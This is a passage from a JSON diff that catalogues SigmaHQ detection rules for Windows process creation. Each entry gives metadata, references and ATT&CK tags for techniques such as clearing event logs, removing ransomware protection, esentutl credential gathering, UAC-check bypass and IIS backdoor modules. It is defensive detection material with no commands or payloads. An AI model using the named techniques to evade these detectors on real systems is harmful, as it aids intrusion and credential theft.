(mostly, during installation) sets up autorun keys for legitimate reasons.", + "Legitimate administrator sets up autorun keys for legitimate reasons.", + "Discord" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects command that is used to disable or delete Windows eventlog via logman Windows utility", + "uuid": "cd1f961e-0b96-436b-b7c6-38da4583ec00", + "value": "Disable or Delete Windows Eventlog", + "meta": { + "refs": [ + "https://twitter.com/0gtweet/status/1359039665232306183?s=21", + "https://ss64.com/nt/logman.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_disable_eventlog.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001", + "attack.t1070.001" + ], + "creation_date": "2021/02/11", + "filename": "proc_creation_win_susp_disable_eventlog.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Legitimate deactivation by administrative staff", + "Installer tools that disable services, e.g. before log collection agent installation" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects command lines that indicate unwanted modifications to registry keys that disable important Internet Explorer security features", + "uuid": "fb50eb7a-5ab1-43ae-bcc9-091818cb8424", + "value": "Disabled IE Security Features", + "meta": { + "refs": [ + "https://unit42.paloaltonetworks.com/operation-ke3chang-resurfaces-with-new-tidepool-malware/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_disable_ie_features.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2020/06/19", + "filename": "proc_creation_win_susp_disable_ie_features.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown, maybe some security software installer disables these features temporarily" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects commands that indicate a Raccine removal from an end system. Raccine is a free ransomware protection tool.", + "uuid": "a31eeaed-3fd5-478e-a8ba-e62c6b3f9ecc", + "value": "Raccine Uninstall", + "meta": { + "refs": [ + "https://github.com/Neo23x0/Raccine", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_disable_raccine.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2021/01/21", + "filename": "proc_creation_win_susp_disable_raccine.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Legitimate deinstallation by administrative staff" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects using Diskshadow.exe to execute arbitrary code in text file", + "uuid": "0c2f8629-7129-4a8a-9897-7e0768f13ff2", + "value": "Execution via Diskshadow.exe", + "meta": { + "refs": [ + "https://bohops.com/2018/03/26/diskshadow-the-return-of-vss-evasion-persistence-and-active-directory-database-extraction/", + "https://www.ired.team/offensive-security/credential-access-and-credential-dumping/ntds.dit-enumeration", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_diskshadow.yml" + ], + "tags": [ + "attack.execution", + "attack.t1218" + ], + "creation_date": "2020/10/07", + "filename": "proc_creation_win_susp_diskshadow.yml", + "author": "Ivan Dyachkov, oscd.community", + "level": "high", + "falsepositive": [ + "False postitve can be if administrators use diskshadow tool in their infrastructure as a main backup tool with scripts." + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of Ditsnap tool. Seems to be a tool for ransomware groups.", + "uuid": "d3b70aad-097e-409c-9df2-450f80dc476b", + "value": "DIT Snapshot Viewer Use", + "meta": { + "refs": [ + "https://thedfirreport.com/2020/06/21/snatch-ransomware/", + "https://github.com/yosqueoy/ditsnap", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ditsnap.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.003" + ], + "creation_date": "2020/07/04", + "filename": "proc_creation_win_susp_ditsnap.yml", + "author": "Furkan Caliskan (@caliskanfurkan_)", + "level": "high", + "falsepositive": [ + "Legitimate admin usage" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a \"dllhost\" spawning with no commandline arguments which is a very rare thing to happen and could indicate process injection activity or malware mimicking similar system processes", + "uuid": "e7888eb1-13b0-4616-bd99-4bc0c2b054b9", + "value": "Dllhost Process With No CommandLine", + "meta": { + "refs": [ + "https://redcanary.com/blog/child-processes/", + "https://nasbench.medium.com/what-is-the-dllhost-exe-process-actually-running-ef9fe4c19c08", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_dllhost_no_cli.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1055" + ], + "creation_date": "2022/06/27", + "filename": "proc_creation_win_susp_dllhost_no_cli.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Execute C# code located in the consoleapp folder", + "uuid": "81ebd28b-9607-4478-bf06-974ed9d53ed7", + "value": "Application Whitelisting Bypass via Dnx.exe", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Csi/", + "https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_dnx.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218", + "attack.t1027.004" + ], + "creation_date": "2019/10/26", + "filename": "proc_creation_win_susp_dnx.yml", + "author": "Beyu Denis, oscd.community", + "level": "medium", + "falsepositive": [ + "Legitimate use of dnx.exe by legitimate user" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious use of an .exe extension after a non-executable file extension like .pdf.exe, a set of spaces or underlines to cloak the executable file in spear phishing campaigns", + "uuid": "1cdd9a09-06c9-4769-99ff-626e2b3991b8", + "value": "Suspicious Double Extension", + "meta": { + "refs": [ + "https://blu3-team.blogspot.com/2019/06/misleading-extensions-xlsexe-docexe.html", + "https://twitter.com/blackorbird/status/1140519090961825792", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_double_extension.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1566.001" + ], + "creation_date": "2019/06/26", + "filename": "proc_creation_win_susp_double_extension.yml", + "author": "Florian Roth (rule), @blu3_team (idea)", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious ways to download files from Microsoft domains that are used to store attachments in Emails or OneNote documents", + "uuid": "00d49ed5-4491-4271-a8db-650a4ef6f8c1", + "value": "Suspicious Download from Office Domain", + "meta": { + "refs": [ + "https://twitter.com/an0n_r0/status/1474698356635193346?s=12", + "https://twitter.com/mrd0x/status/1475085452784844803?s=12", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_download_office_domain.yml" + ], + "tags": "No established tags", + "creation_date": "2021/12/27", + "filename": "proc_creation_win_susp_download_office_domain.yml", + "author": "Florian Roth, Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Scripts or tools that download attachments from these domains (OneNote, Outlook 365)" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious way to dump the kernel on Windows systems using dtrace.exe, which is available on Windows systems since Windows 10 19H1", + "uuid": "7124aebe-4cd7-4ccb-8df0-6d6b93c96795", + "value": "Suspicious Kernel Dump Using Dtrace", + "meta": { + "refs": [ + "https://twitter.com/0gtweet/status/1474899714290208777?s=12", + "https://docs.microsoft.com/en-us/windows-hardware/drivers/devtest/dtrace", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_dtrace_kernel_dump.yml" + ], + "tags": "No established tags", + "creation_date": "2021/12/28", + "filename": "proc_creation_win_susp_dtrace_kernel_dump.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious child processes of electron apps (teams, discord, slack...).\nThis could be a potential sign of \".asar\" file tampering (See reference section for more information)\n", + "uuid": "f26eb764-fd89-464b-85e2-dc4a8e6e77b8", + "value": "Suspicious Electron Application Child Processes", + "meta": { + "refs": [ + "https://taggart-tech.com/quasar-electron/", + "https://github.com/mttaggart/quasar", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_electron_app_children.yml" + ], + "tags": [ + "attack.execution" + ], + "creation_date": "2022/10/21", + "filename": "proc_creation_win_susp_electron_app_children.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detecting Emotet DLL loading by looking for rundll32.exe processes with command lines ending in ,RunDLL or ,Control_RunDLL", + "uuid": "54e57ce3-0672-46eb-a402-2c0948d5e3e9", + "value": "Emotet RunDLL32 Process Creation", + "meta": { + "refs": [ + "https://paste.cryptolaemus.com/emotet/2020/12/22/emotet-malware-IoCs_12-22-20.html", + "https://cyber.wtf/2021/11/15/guess-whos-back/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_emotet_rundll32_execution.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.011" + ], + "creation_date": "2020/12/25", + "filename": "proc_creation_win_susp_emotet_rundll32_execution.yml", + "author": "FPT.EagleEye", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Conti recommendation to its affiliates to use esentutl to access NTDS dumped file. Trickbot also uses this utilities to get MSEdge info via its module pwgrab.", + "uuid": "7df1713a-1a5b-4a4b-a071-dc83b144a101", + "value": "Esentutl Gather Credentials", + "meta": { + "refs": [ + "https://twitter.com/vxunderground/status/1423336151860002816", + "https://attack.mitre.org/software/S0404/", + "https://thedfirreport.com/2021/08/01/bazarcall-to-conti-ransomware-via-trickbot-and-cobalt-strike/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_esentutl_params.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003", + "attack.t1003.003" + ], + "creation_date": "2021/08/06", + "filename": "proc_creation_win_susp_esentutl_params.yml", + "author": "sam0x90", + "level": "medium", + "falsepositive": [ + "To be determined" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects clearing or configuration of eventlogs using wevtutil, powershell and wmic. Might be used by ransomwares during the attack (seen by NotPetya and others).", + "uuid": "cc36992a-4671-4f21-a91d-6c2b72a2edf5", + "value": "Suspicious Eventlog Clear or Configuration Using Wevtutil", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.001/T1070.001.md", + "https://eqllib.readthedocs.io/en/latest/analytics/5b223758-07d6-4100-9e11-238cfdd0fe97.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_eventlog_clear.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070.001", + "car.2016-04-002" + ], + "creation_date": "2019/09/26", + "filename": "proc_creation_win_susp_eventlog_clear.yml", + "author": "Ecco, Daniil Yugoslavskiy, oscd.community", + "level": "high", + "falsepositive": [ + "Admin activity", + "Scripts and administrative tools used in the monitored environment" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a suspicious execution from an uncommon folder", + "uuid": "3dfd06d2-eaf4-4532-9555-68aca59f57c4", + "value": "Execution from Suspicious Folder", + "meta": { + "refs": [ + "https://github.com/mbevilacqua/appcompatprocessor/blob/6c847937c5a836e2ce2fe2b915f213c345a3c389/AppCompatSearch.txt", + "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses", + "https://www.crowdstrike.com/resources/reports/2019-crowdstrike-global-threat-report/", + "https://github.com/ThreatHuntingProject/ThreatHunting/blob/cb22598bb70651f88e0285abc8d835757d2cb596/hunts/suspicious_process_creation_via_windows_event_logs.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_execution_path.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036" + ], + "creation_date": "2019/01/16", + "filename": "proc_creation_win_susp_execution_path.yml", + "author": "Florian Roth, Tim Shelton", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a suspicious program execution in a web service root folder (filter out false positives)", + "uuid": "35efb964-e6a5-47ad-bbcd-19661854018d", + "value": "Execution in Webserver Root Folder", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_execution_path_webserver.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1505.003" + ], + "creation_date": "2019/01/16", + "filename": "proc_creation_win_susp_execution_path_webserver.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Various applications", + "Tools that include ping or nslookup command invocations" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Attackers can use explorer.exe for evading defense mechanisms", + "uuid": "9eb271b9-24ae-4cd4-9465-19cfc1047f3e", + "value": "Proxy Execution Via Explorer.exe", + "meta": { + "refs": [ + "https://twitter.com/CyberRaiju/status/1273597319322058752", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_explorer.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ], + "creation_date": "2020/10/05", + "filename": "proc_creation_win_susp_explorer.yml", + "author": "Furkan CALISKAN, @caliskanfurkan_, @oscd_initiative", + "level": "low", + "falsepositive": [ + "Legitimate explorer.exe run from cmd.exe" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a command line process that uses explorer.exe to launch arbitrary commands or binaries,\nwhich is similar to cmd.exe /c, only it breaks the process tree and makes its parent a new instance of explorer spawning from \"svchost\"\n", + "uuid": "949f1ffb-6e85-4f00-ae1e-c3c5b190d605", + "value": "Explorer Process Tree Break", + "meta": { + "refs": [ + "https://twitter.com/CyberRaiju/status/1273597319322058752", + "https://twitter.com/bohops/status/1276357235954909188?s=12", + "https://twitter.com/nas_bench/status/1535322450858233858", + "https://securityboulevard.com/2019/09/deobfuscating-ostap-trickbots-34000-line-javascript-downloader/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_explorer_break_proctree.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036" + ], + "creation_date": "2019/06/29", + "filename": "proc_creation_win_susp_explorer_break_proctree.yml", + "author": "Florian Roth, Nasreddine Bencherchali, @gott_cyber", + "level": "medium", + "falsepositive": [ + "Unknown how many legitimate software products use that method" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious starts of explorer.exe that use the /NOUACCHECK flag that allows to run all sub processes of that newly started explorer.exe without any UAC checks", + "uuid": "534f2ef7-e8a2-4433-816d-c91bccde289b", + "value": "Explorer NOUACCHECK Flag", + "meta": { + "refs": [ + "https://twitter.com/ORCA6665/status/1496478087244095491", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_explorer_nouaccheck.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1548.002" + ], + "creation_date": "2022/02/23", + "filename": "proc_creation_win_susp_explorer_nouaccheck.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Domain Controller User Logon", + "Unknown how many legitimate software products use that method" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects Executables in the Downloads folder without FileVersion,Description,Product,Company likely created with py2exe", + "uuid": "9637e8a5-7131-4f7f-bdc7-2b05d8670c43", + "value": "Suspicious File Characteristics Due to Missing Fields", + "meta": { + "refs": [ + "https://securelist.com/muddywater/88059/", + "https://www.virustotal.com/#/file/276a765a10f98cda1a38d3a31e7483585ca3722ecad19d784441293acf1b7beb/detection", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_file_characteristics.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.006" + ], + "creation_date": "2018/11/22", + "filename": "proc_creation_win_susp_file_characteristics.yml", + "author": "Markus Neis, Sander Wiebing", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects when GfxDownloadWrapper.exe downloads file from non standard URL", + "uuid": "eee00933-a761-4cd0-be70-c42fe91731e7", + "value": "GfxDownloadWrapper.exe Downloads File from Suspicious URL", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/GfxDownloadWrapper/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_file_download_via_gfxdownloadwrapper.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1105" + ], + "creation_date": "2020/10/09", + "filename": "proc_creation_win_susp_file_download_via_gfxdownloadwrapper.yml", + "author": "Victor Sergeev, oscd.community", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Discovery of an installed Sysinternals Sysmon service using driver altitude (even if the name is changed).", + "uuid": "37db85d1-b089-490a-a59a-c7b6f984f480", + "value": "Suspicious Findstr 385201 Execution", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1518.001/T1518.001.md#atomic-test-5---security-software-discovery---sysmon-service", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_findstr_385201.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1518.001" + ], + "creation_date": "2021/12/16", + "filename": "proc_creation_win_susp_findstr_385201.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of findstr to identify and execute a lnk file as seen within the HHS redirect attack", + "uuid": "33339be3-148b-4e16-af56-ad16ec6c7e7b", + "value": "Findstr Launching .lnk File", + "meta": { + "refs": [ + "https://www.bleepingcomputer.com/news/security/hhsgov-open-redirect-used-by-coronavirus-phishing-to-spread-malware/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_findstr_lnk.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036", + "attack.t1202", + "attack.t1027.003" + ], + "creation_date": "2020/05/01", + "filename": "proc_creation_win_susp_findstr_lnk.yml", + "author": "Trent Liffick", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious aged finger.exe tool execution often used in malware attacks nowadays", + "uuid": "af491bca-e752-4b44-9c86-df5680533dbc", + "value": "Finger.exe Suspicious Invocation", + "meta": { + "refs": [ + "https://twitter.com/bigmacjpg/status/1349727699863011328?s=12", + "https://app.any.run/tasks/40115012-a919-4208-bfed-41e82cb3dadf/", + "http://hyp3rlinx.altervista.org/advisories/Windows_TCPIP_Finger_Command_C2_Channel_and_Bypassing_Security_Software.txt", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_finger_usage.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1105" + ], + "creation_date": "2021/02/24", + "filename": "proc_creation_win_susp_finger_usage.yml", + "author": "Florian Roth, omkar72, oscd.community", + "level": "high", + "falsepositive": [ + "Admin activity (unclear what they do nowadays with finger.exe)" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the execution of format.com with a suspicious filesystem selection that could indicate a defense evasion activity in which format.com is used to load malicious DLL files or other programs", + "uuid": "9fb6b26e-7f9e-4517-a48b-8cac4a1b6c60", + "value": "Format.com FileSystem LOLBIN", + "meta": { + "refs": [ + "https://twitter.com/0gtweet/status/1477925112561209344", + "https://twitter.com/wdormann/status/1478011052130459653?s=20", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_format.yml" + ], + "tags": [ + "attack.defense_evasion" + ], + "creation_date": "2022/01/04", + "filename": "proc_creation_win_susp_format.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious parameters of fsutil (deleting USN journal, configuring it with small size, etc).\nMight be used by ransomwares during the attack (seen by NotPetya and others).\n", + "uuid": "add64136-62e5-48ea-807e-88638d02df1e", + "value": "Fsutil Suspicious Invocation", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/fsutil-usn", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070/T1070.md", + "https://eqllib.readthedocs.io/en/latest/analytics/c91f422a-5214-4b17-8664-c5fcf115c0a2.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_fsutil_usage.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070" + ], + "creation_date": "2019/09/26", + "filename": "proc_creation_win_susp_fsutil_usage.yml", + "author": "Ecco, E.M. Anhaus, oscd.community", + "level": "high", + "falsepositive": [ + "Admin activity", + "Scripts and administrative tools used in the monitored environment" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects cases in which a user uses the built-in Windows utility gpresult to display the Resultant Set of Policy (RSoP) information", + "uuid": "e56d3073-83ff-4021-90fe-c658e0709e72", + "value": "Gpresult Display Group Policy Information", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1615/T1615.md", + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/gpresult", + "https://unit42.paloaltonetworks.com/emissary-trojan-changelog-did-operation-lotus-blossom-cause-it-to-evolve/", + "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_gpresult.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1615" + ], + "creation_date": "2022/05/01", + "filename": "proc_creation_win_susp_gpresult.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects creation of a scheduled task with a GUID like name", + "uuid": "ff2fff64-4cd6-4a2b-ba7d-e28a30bbe66b", + "value": "Suspicious Scheduled Task Name As GUID", + "meta": { + "refs": [ + "https://thedfirreport.com/2022/10/31/follina-exploit-leads-to-domain-compromise/", + "https://thedfirreport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_guid_task_name.yml" + ], + "tags": [ + "attack.execution", + "attack.t1053.005" + ], + "creation_date": "2022/10/31", + "filename": "proc_creation_win_susp_guid_task_name.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitimate software naming their tasks as GUIDs" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects execution of the Notepad++ updater in a suspicious directory, which is often used in DLL side-loading attacks", + "uuid": "0a4f6091-223b-41f6-8743-f322ec84930b", + "value": "Suspicious GUP Usage", + "meta": { + "refs": [ + "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_gup.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1574.002" + ], + "creation_date": "2019/02/06", + "filename": "proc_creation_win_susp_gup.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Execution of tools named GUP.exe and located in folders different than Notepad++\\updater" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects execution of the Notepad++ updater (gup) from a process other than Notepad++ to download files.", + "uuid": "44143844-0631-49ab-97a0-96387d6b2d7c", + "value": "Download Files Using Notepad++ GUP Utility", + "meta": { + "refs": [ + "https://twitter.com/nas_bench/status/1535322182863179776", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_gup_download.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1105" + ], + "creation_date": "2022/06/10", + "filename": "proc_creation_win_susp_gup_download.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Other parent processes other than notepad++ using GUP that are not currently identified" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects execution of the Notepad++ updater (gup) to launch other commands or executables", + "uuid": "d65aee4d-2292-4cea-b832-83accd6cfa43", + "value": "Execute Arbitrary Binaries Using GUP Utility", + "meta": { + "refs": [ + "https://twitter.com/nas_bench/status/1535322445439180803", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_gup_execution.yml" + ], + "tags": [ + "attack.execution" + ], + "creation_date": "2022/06/10", + "filename": "proc_creation_win_susp_gup_execution.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Other parent binaries using GUP not currently identified" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Use of hostname to get information", + "uuid": "7be5fb68-f9ef-476d-8b51-0256ebece19e", + "value": "Suspicious Execution of Hostname", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1082/T1082.md#atomic-test-6---hostname-discovery-windows", + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/hostname", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_hostname.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1082" + ], + "creation_date": "2022/01/01", + "filename": "proc_creation_win_susp_hostname.yml", + "author": "frack113", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a suspicious IIS module registration as described in Microsoft threat report on IIS backdoors", + "uuid": "043c4b8b-3a54-4780-9682-081cb6b8185c", + "value": "Suspicious IIS Module Registration", + "meta": { + "refs": [ + "https://www.microsoft.com/security/blog/2022/07/26/malicious-iis-extensions-quietly-open-persistent-backdoors-into-servers/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_iis_module_registration.yml" + ], + "tags": "No established tags", + "creation_date": "2022/08/04", + "filename": "proc_creation_win_susp_iis_module_registration.yml", + "author": "Florian Roth (rule), Microsoft (idea)", + "level": "high", + "falsepositive": [ + "Administrative activity" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Checks whether the image specified in a process creation event is not a full, absolute path (caused by process ghosting or other unorthodox methods to start a process)", + "uuid": "71158e3f-df67-472b-930e-7d287acaa3e1", + "value": "Execution Of Non-Existing File", + "meta": { + "refs": [ + "https://pentestlaboratories.com/2021/12/08/process-ghosting/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_image_missing.yml" + ], + "tags": [ + "attack.defense_evasion" + ], + "creation_date": "2021/12/09", + "filename": "proc_creation_win_susp_image_missing.yml", + "author": "Max Altgelt", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Uses the .NET InstallUtil.exe application in order to execute image without log", + "uuid": "d042284c-a296-4988-9be5-f424fadcc28c", + "value": "Suspicious Execution of InstallUtil Without Log", + "meta": { + "refs": [ + "https://securelist.com/moonbounce-the-dark-side-of-uefi-firmware/105468/", + "https://docs.microsoft.com/en-us/dotnet/framework/tools/installutil-exe-installer-tool", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_instalutil.yml" + ], + "tags": [ + "attack.defense_evasion" + ], + "creation_date": "2022/01/23", + "filename": "proc_creation_win_susp_instalutil.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a suspicious call to Invoke-WebRequest cmdlet where the and output is located in a suspicious location", + "uuid": "5e3cc4d8-3e68-43db-8656-eaaeefdec9cc", + "value": "Suspicious Invoke-WebRequest Usage", + "meta": { + "refs": [ + "https://www.sentinelone.com/blog/living-off-windows-defender-lockbit-ransomware-sideloads-cobalt-strike-through-microsoft-security-tool/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_invoke_webrequest_download.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1105" + ], + "creation_date": "2022/08/02", + "filename": "proc_creation_win_susp_invoke_webrequest_download.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious IIS native-code module installations via command line", + "uuid": "9465ddf4-f9e4-4ebd-8d98-702df3a93239", + "value": "IIS Native-Code Module Command Line Installation", + "meta": { + "refs": [ + "https://researchcenter.paloaltonetworks.com/2018/01/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/", + 